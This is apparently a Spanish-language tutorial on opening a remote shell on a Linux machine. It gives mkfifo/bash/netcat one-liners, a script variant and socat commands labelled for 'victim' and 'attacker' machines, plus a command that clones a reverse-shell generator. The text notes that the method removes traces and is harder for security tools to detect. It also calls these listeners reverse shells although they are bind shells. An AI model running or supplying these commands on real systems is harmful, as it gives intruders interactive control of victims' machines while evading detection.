-
Crear un shell reverso moderno en Linux
La nueva manera de crear un shell reverso en una distro de Linux es la siguiente:
mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc -l -p 4444 > /tmp/f; rm /tmp/fExplicación:
- mkfifo /tmp/f: mkfifo crea un FIFO (First-In-First-Out), que es un tipo especial de archivo llamado pipe (tubería con nombre). /tmp/f es el archivo FIFO que se crea. Un FIFO actúa como un canal de comunicación: un proceso puede escribir en él y otro proceso puede leer de él.
- cat /tmp/f: Intenta leer continuamente del FIFO /tmp/f.
- | /bin/bash -i: La entrada leída por cat se pasa a /bin/bash -i, lo que significa que cualquier entrada en /tmp/f será ejecutada como comandos en una shell interactiva (-i).
- 2>&1: Redirige los errores estándar (stderr, descriptor 2) a la salida estándar (stdout, descriptor 1), para que todo el resultado se maneje en un solo flujo.
- | nc -l -p 4444: Netcat (nc) escucha en el puerto 4444 y espera conexiones entrantes. Cualquier dato enviado desde el cliente remoto se pasará al shell /bin/bash.
- > /tmp/f: La salida de nc (que incluye el resultado de los comandos ejecutados) se escribe nuevamente en el FIFO /tmp/f, permitiendo la comunicación bidireccional.
- rm /tmp/f: Una vez que termina el proceso, el FIFO /tmp/f es eliminado para limpiar cualquier rastro del ataque.
¿Cómo funciona en la práctica?
Netcat queda a la espera de conexiones en el puerto 4444. Cuando alguien se conecta usando:
nc <IP> 4444… la conexión se redirige a /bin/bash, creando una shell remota interactiva. El FIFO /tmp/f permite enviar y recibir datos de manera eficiente sin usar -e, lo que lo hace más difícil de detectar por herramientas de seguridad.
También podemos hacerlo metiendo todo el pipeline dentro de una subshell, ejecutando directamente en la terminal de bash:
mkfifo /tmp/f ( cat /tmp/f | /bin/bash -i 2>&1 | nc -l -p 4444 > /tmp/f ) rm /tmp/f
O podemos crear un script con el siguiente texto:
#!/usr/bin/env bash mkfifo /tmp/f # Usar un trap para que el FIFO se borre aunque se interrumpa el script trap 'rm -f /tmp/f' EXIT cat /tmp/f | /bin/bash -i 2>&1 | nc -l -p 4444 > /tmp/f
También podemos utilizar socat:
En la máquina víctima:
socat TCP-LISTEN:4444,reuseaddr,fork EXEC:/bin/bash,pty,stderrEn la máquina atacante:
socat file:`tty`,raw,echo=0 TCP:<IP_de_la_víctima>:4444EXTRA: Con este comando podemos levantar un servidor web local donde se nos proporcionará una herramienta para crear diversos shell reversos:
cd /tmp && git clone https://github.com/0dayCTF/reverse-shell-generator.git; cd reverse-shell-generator && python3 -m http.server 8080
socat -v TCP-LISTEN:44444,reuseaddr,fork STDOUT
socat -d -d STDIO SCTP-LISTEN:4444,reuseaddr
socat -d -d STDIO TCP-LISTEN:4444,reuseaddr
socat -d -d STDIO SCTP-LISTEN:4444,reuseaddr 2> debug.log
socat -d -d STDIO TCP:<IP_de_la_víctima>:4444,pty,ctty,raw,echo=0,setsid,sigint,sane
socat -d -d SCTP-LISTEN:4444,reuseaddr file:`tty`,raw,echo=0
nc -lvnp 44444